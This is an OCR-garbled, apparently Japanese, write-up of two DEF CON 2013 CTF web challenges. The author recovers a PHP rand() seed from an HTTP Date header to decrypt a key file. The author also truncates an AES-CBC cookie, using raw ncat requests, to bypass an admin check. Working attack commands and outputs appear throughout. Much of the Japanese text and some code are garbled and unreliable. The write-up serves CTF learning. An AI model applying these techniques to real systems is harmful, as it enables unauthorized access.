'login.php', 'passwords.txt', 'usernames.txt'))==TRUE) {
$data = file get_contents($filename);
if ($data !== FALSE) {
if ($filename == "key.txt") {
$key = rand();
$cyphertext = mcrypt_encrypt(MCRYPT_RIJNDAEL_128, $key,
$data, MCRYPT_MODE_CBC);
echo base64_encode($cyphertext);

}
else{
echo nl2br($data);
}
}
else{
echo "File does not exist";
}
¥
else{
echo "File does not exist";
}
T:T——é: %Tf??sua?x : |t—I ((:) Eg , C(;)hrii:;/(())rdaa;c I—CI)<TJ , Tokyo MT T Communications E,] ff,fiﬁl - IRSLI::;S:EE Ee:
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}
else{
echo "Invalid access code";

CCFETHRUTEZED. accesscode (& filename D MD5 J\w = 1 fB& x> TULE
9, Ffz. filename (C key.txt ZIBEULZEE(CED . 2D ExEILBEHRES AES-128-
CBC THESMIE L. base64 T>O—RUTHANITDIZENDMDFT ., £S5, key.txt
DFENEZDLDSTT,

key.txt D EZRD12H(CE. key.txt (CHMTFBSNTL\DHERIFS OO HHINIE KX
ETESTY, #F rand)BEHNRIEEERO>TVEIN. KRB ECOEHFTOY
S LADEITESNIZRLZ seed EUTHEMEESNTWE T | TNEDFED. TJOJSLNE
TENEREANOMIE. CORZZ seed & UTEEELERKT D ETHMNESND LN
S52&ETY.

TOUS LR ETEINERREED DY ORI T(dR< . 7oREDHT—/ (D
ZAERDET, INZEBDCIE HTTP LARRAD Date Ny A ERNIERNTU & Do
BIZ(ETFERDKSIC wget IY> RdD—save-headers AT 3> &FESZET. LARY
ANV ZEHIEABTZBIE I D ENTEFT,

$ echo -n key.txt | md5sum
65c2a527098el1f7747eec58e1925b453 -

$ wget --save-headers -0 key.txt
"http://rememberme.shallweplayaga.me/getfile.php?filename=key.txt&accessc
ode=65c2a527098e1f7747eec58e1925b453"

$ less key.txt
HTTP/1.1 200 OK
Date: Sat, 15 Jun 2013 21:11:34 GMT

(snip)
Acces granted to

NTT Communications Corporation g—

. Global ICT Part
1-1-6 Uchisaiwai-cho, Chiyoda-ku, Tokyo MT T Communications Inngatie_ Renamjsr;amqfs:
100-8019, Japan o




key.txt!<br><br>MuSu5STGmFu@2JeFOwx1SDzhREMYIaOESERBiSrUSepfETIPdeNwhisof
MtD4g+gNLaBqEYWeMIvHIu/Paxh7A==

(snip)

Ll B & base64 T2 O— REnNficF—Z26B & (S, getfile.php EEERDFAFIETIE
SUET., FiLDELDRPHP XU hEETUET,

<?php

$datestr = "Sat, 15 Jun 2013 21:11:34 GMT";
$time = strtotime($datestr);

echo $time . "\n";

$ciphertext =
"MuSu5STGMFu@2JeFOwx1SDzhREMYIaOESERBiSrUSepfETIPdeNwhisofMtD4g+gNLaBqEYW
eMJvHJu/Paxh7A==";

$ciphertext = base64 _decode($ciphertext);

echo $ciphertext . "\n";

srand($time);

$key = rand();

$plaintext_maybe = mcrypt_decrypt(MCRYPT_RIJINDAEL_ 128, $key, $ciphertext,
MCRYPT_MODE_CBC);

print $plaintext_maybe . "\n";
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mcrypto SIS UZA A M=)LU. ROUT hEETIDEF-—NMNESNET,

$ sudo apt-get install php5 php5-mcrypto

$ php hack.php

PHP Deprecated: Comments starting with '#' are deprecated in
/etc/php5/cli/conf.d/mcrypt.ini on line 1 in Unknown on line ©
1371330694

(raw binary of ciphertext)

PHP Warning: mcrypt_decrypt(): Attempt to use an empty IV, which is NOT
recommend in /root/defcon2013/web4/test.php on line 12

The key is: To boldly go where no one has gone before WMx8reNS

Bz ESY>TILI—RT. UFUIFELED seed (CIRTERZIMMEONTLDEDH
HDFIN. ELED seed (CIRERAIZ (XU & UIHERAIRIE/RMEZ D TIEWWFE R A
COORE(E. HERIEIEER seed ZfED TV\DIHEED K DIRIRENTIRE(CIRDHDEH &7
DTCTWVET,
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fiZ51 8 : 3dub (5 =)

fREE CNTT OLtFa21 U+ PH Kis

R

worsemedicine

http://worsemedicine.shallweplayaga.me/

i

COORIREIE 5 ROBET., #BCEULM > ERMBICA—T>enxE Uiz, BREXI(C
(FURLMESNTVET, COURLICT ST T ILERITDE. OJA EERNKRRS
NFELR, CDOWeb B+ h2EEITDETSTZAF TEIMETHD LHRISNFT,

|L_, worsemedicing | + ‘

LSEerame I

password |

log in |

19 O >Em

FI(ETD Web U MIEDE DRI AT LATHINHERLET, BHRI—HFZE/N
AD—RcOd1>z2R U THDE OTJA > EOEEHNFR RSN, BIEOBESGD T (CAN
Lie1—Y&hRRENET. D Web B+ hTIHIIRDT—RZEBEAEFTYVILTL
DEFIFRL, BHR/RD—RTEOTAUICHRINTEILSTT,
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You're test

20 O >#%ODEm

ZD Web U MMIRIFNCABSNTLDHEFRELZST . BCOJA> NI TSI
TDEAFTLADKDSTY, CTNEIFTHIZEKRTNERVDHDNSRNDT, BLIEA
HNEH U THFELURL. 30 DEFEHDBLT. I—HR&IC Tadmin] EABDUIEHBEICTIS—
BENRRSNDZENDMDFELUR.
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RuntimeError at /

can't log in as admin, be smarter

file: web.rb location: block in <top (required)= line: 10

JUMP TO: GET POST COOKIES ENV

BACKTRACE (expand)

Japp/web.rb in block in <top (reguired)>

10. raise "can't Tog in as adwin, be smarter
GET No GET dara.
POST
Variable Value
_utfg "&HFX2713;"
password "admin”
username "admin”
verification "e46392a0"

COOKIES No cookie data

Rack ENV
Variable Value
CONTENT_LENGTH 72
CONTENT_TYPE application /x-www-form-urlencoded
GATEWAY_INTERFACE CGl/ 2
HTTP_ACCEPT image/jpeg, application/x-ms-application, image/gif, application/xaml+xml, image/pjpeg, application/x-ms-xbap,
application/vnd.ms-excel, application/vnd.ms-powerpoint, application/msword, */*
HTTP_ACCEPT_ENCODING gzip, deflate

21 ladminl TO94 > U EBICRRESND IS —E@

IS5—XAwvtz—=>(3 [can't log in as admin, be smarter] T9, CD Web Y1 kT
(FI1—H% ladmin] TOOTA > (FELELTVBDT. 1—HAIC [adminl ZEEL
EHBECHIN IS —aRES T CRIBMEZR TSE TS, EFRTEFT, DFD. &
DOF Ty B ZSHELLER L TI—HY% ladminl TOJA> 922 E=BIEIMREL
ERRFTEFT,
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COPNTIS—OEEZED )Y IFDEFMNTS—NFEUCRNIR 71700V —X0—
RARFRRESNE U,

RuntimeError at /

®" can't log in as admin, be smarter

file: web.rb location: block in <top (required)= line: 10

BACKTRACE (expand) JUMP TO: CET POST COOKIES ENV

Japp/web.rbin block in <top (reguired):>
3.

4. get '/ de

haml 4 nde:
& post '/* do

T pa L nas
1 = iy b =
11. d
12.
13. cipher = make_cipher
14, cipher.encrypt
15, cipher.key = CRYPTO_KEY
16, v = cipher.randos_iv
17.

GET No GET data.

22 IS—EECRRENBIY—RAT—RDO—EP

W DN DEFITHIN TS —ZRESTEDZET. RENICUTDY—X— RDO—EP
ZHEITDIENTEH UL, TNIFRERNCEIRENRE> MIFRDFERBATLIZN
[cipher] t° [decrypt] IREDEHLNHD . BEDOFEMHVERBEIZAZSENDS &
MHEAlENZET,

get '/' do
haml :index
end
post '/' do
if params[:username] == "admin'

raise "can't log in as admin, be smarter”

end
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cipher = make_cipher

cipher.encrypt

cipher.key = CRYPTO_KEY

iv = cipher.random_iv

plaintext = Hash[*params.sort.flatten].to_param

ciphertext = cipher.update plaintext

ciphertext << cipher.final

cookies[:iv] = iv

cookies[:ciphertext] = ciphertext
cookies[:verification] = params[:verification]

redirect '/key'

end
get '/key' do
if cookies[:ciphertext].nil? || cookies[:iv].nil?
raise "wtf"
end

cipher = make_cipher

cipher.decrypt

cipher.key = CRYPTO_KEY

cipher.iv = cookies[:iv]

plaintext = cipher.update cookies[:ciphertext]

plaintext << cipher.final

pairs = CGI::parse plaintext

username = pairs['username'].first || "couldn't find one"

RIS, OTAECH—) D SISESNDT —FZRANET. U—) D SDIEEDRIC
(FOvF—NEENTWNT livl [lciphertext] T[verification] WSS (CEET BE
BaLT—INEENTLELELZ. Y=/ \WSDIEDR(CFBICtEY > a > (CBE%RT DIE
BNRYEIEDFELATULEDT, COUVYF—HIEvS 3> IDDEEIZFDOEFBRLEL

Iz
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iv=%E8%B6%D7%08%14%AE%XSEK; ciphertext=%DFv%D8Y%A5%3E%7B%CB%25%DF%A4%7F%02
%EB%B5%ED%FO%1F%25H%BOg%E 3%26%87%90%A0%E 6%DD%19 p%EA4%CA%B1%D5%DD%8C%C37%11
%1E%D1%21y%3A%15S%8ChF3 - -%E0%23%18N%BA%D2%FO%AE%ED; verification=29d1fc4de

RIS, COBSXZFITLET. ELZOIBS)ILITUXLRDMIE. TyS>3>(C
FHUTWSBEEHRNADMNDERIDT. I-—TE@ERETETINELNEFEA. TIH. IV
DRESBRENSHESFZILTVXLZHENUEITN, RNV DSELITEERA. BUMLE
SEEEENTVIBESVILTUXATIFRL . HEERBDEDTH DD, —H(CA
FOTVWRWESVILITUXLZMERAUTWRAEENEH D NS, —BZDRATORE
thzsitigdZ&CLFEUR.

ZZ T BEZITUXLNDDHSRVVRETEES X ZIRECERUNEBZFE UL,
ZDEHIC, CESTHERICIEBELU TGRELEESXICH U TH—/\DIiSEEER L. A5
NOMAIZE UKD Ll DBIRESXINEZITWLWER Uz, U —/\DILEZ AR EH#RT
DREBNRHDEIDT. TSTINSODRET(FRL. BENHERINY> RS> ZFA
9B EICLELRE, RBICTSIOYT ladminl] EWDSI1—H&TOJ1 > UIEEDD
vEF—F—FZIE—U. FOIN> REETIDEY—/\DIEEZITEND Z &zt
BUFELURZ, Tadminll EWSI—HETOJA> L TR ENDNDET, [the
verification didn't match] EWS TS —XAWE—IHARRESNTUVEIN. EDHZIE
HALUTRZERFT,

# echo -e "GET /key HTTP/1.0\nHost: worsemedicine.shallweplayaga.me\nCook
ie: iv=%E8%B6%D7%08%14%AE%5EK; ciphertext=%DFv%D8Y%A5%3E%7B%CB%25%DF%AA%7
F%02%EB%B5%ED%FO%1F%25H%BOq%E 3%26%87%90%A0%E6%DD%19p%EA%CA%B1%D5%DD%8C%C3
7%11%1E%D1%21y%3A%15S%8C%F 3 - - %E0%23%18N%BA%D2%FO%AE%ED; verification=29d1
fc4e\n\n" | ncat -nvv --crlf 184.73.211.6 80

Ncat: Version 6.25 ( http://nmap.org/ncat )

Ncat: Connected to 184.73.211.6:80.

HTTP/1.1 200 OK

Content-Type: text/html;charset=utf-8

X-Content-Type-Options: nosniff

X-Frame-Options: SAMEORIGIN

X-Xss-Protection: 1; mode=block
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Content-Length: 231
Connection: Close

<IDOCTYPE html>
<html>
<head>
<title>worsemedicine</title>
</head>
<body>
<h1>
<img src="'Nope.png'>
</h1>
<p>
You're
adminl
and the verification didn't match
</p>
</body>
</html>

ZUT. CD Iciphertext] DEZRIELTERLU CHET, BLERUTHIHER
[ciphertext] DEZE#&MNS 13 )\ bRTZIFHIBRL TH—/NSXELEIBEIC. UTDX
SIGEMNRD TEFE Uz, I—H%& [adl TOJA> U ETRD>TLWSRZEADH
NEY,

# echo -e "GET /key HTTP/1.0\nHost: worsemedicine.shallweplayaga.me\nCook
ie: iv=%E8%B6%D7%08%14%AE%5EK; ciphertext=%DFv%D8Y%A5%3E%7B%CB%25%DF%AA%7
F%02%EB%B5%ED%FO%1F%25H%BOq%E 3%26%87%90%A0%E6%DD%19p%EA%CA%B1%D5%DD%8C%C3
7%11%1E%D1%21y%3A%15S; verification=29d1fc4e\n\n" | ncat -nvv --crlf 184.
73.211.6 80

Ncat: Version 6.25 ( http://nmap.org/ncat )

Ncat: Connected to 184.73.211.6:80@.

HTTP/1.1 200 OK

Content-Type: text/html;charset=utf-8

X-Content-Type-Options: nosniff
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X-Frame-Options: SAMEORIGIN
X-Xss-Protection: 1; mode=block
Content-Length: 227

Connection: Close

<IDOCTYPE html>
<html>
<head>
<title>worsemedicine</title>
</head>
<body>
<h1>
<img src="'Nope.png'>
</h1>
<p>
You're
ad
and the verification didn't match
</p>
</body>
</html>

DED. UTOEBSXOREED (R0 —THIBRUIEERD) (C1—Y4% fadminl]
D [minl] NEFENTVBSEMDIHMDFET,

%DFV%D8Y%A5%3E%7B%CB%25%DF %AA%7 F%02%EB%B5%ED%F0%1F%25H%BOQ%E 3%26%87%90%A0
%E6%DD%19p%EA%CA%BL%D5%DD%8CHCI7%11%1EX%D1%21y%3A%15S %8CHF 3 - -%EQ%23%1 8N%BA
%D27%FO%AE%ED
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OVF—DRED(CI-YRAEFFINTLDZENDMDFELZDOT. SELHIBFIN
(F Tadminll @ [1] EIZHZZEETEEDTI . BRHFIC. BEXETAYE—2
M1 XFIOMIGLTVWEIDOT, COESHREFTOYIES TR A NI—-ABS
THDENDZENDNDFET,

TTRDIT)—Z#END 1 XFIDHIBRL GXELTHFET . &ARMIIC 10 /81 b3 D
EEXZHIBR T D& adminl TOJA> Uz &CRD. EDH(CIEREN TN TLY
FUJ. &EIC lverification] DEHEEDOEDIRENHDEEEBE>TLERLIZN, ZDORRE
TEZDOHEEFHDFEATUZ, INZRELTCTERZBDIZENTEFHLUL.

# echo -e "GET /key HTTP/1.0\nHost: worsemedicine.shallweplayaga.me\nCook
ie: iv=%E8%B6%D7%08%14%AE%5EK; ciphertext=%DFv%D8Y%A5%3E%7B%CB%25%DF%A4%7
F%02%EB%B5%ED%FO%1F%25H%BOq%E3%26%87%90%A0%E6%DD%19p%E4%CA%B1%D5%DD%8C%C3
7%11%1E%D1%21y%3A%155%8C%F3-; verification=29d1fc4e\n\n" | ncat -nvv --cr
1f 184.73.211.6 80

Ncat: Version 6.25 ( http://nmap.org/ncat )

Ncat: Connected to 184.73.211.6:80.

HTTP/1.1 200 OK

Content-Type: text/html;charset=utf-8

X-Content-Type-Options: nosniff

X-Frame-Options: SAMEORIGIN

X-Xss-Protection: 1; mode=block

Content-Length: 221

Connection: Close

<IDOCTYPE html>
<html>
<head>
<title>worsemedicine</title>
</head>
<body>
<h1l>
yessss
</h1>
<p>
The key is:
computers downtown and computers up in harlem
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</p>
</body>
</html>
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7.1 LiR— MMERRE
NTT JALtFa1UFas kA ett
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RIREfRERIB N
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Global ICT Partner

Innovative. Reliable. Seamless.




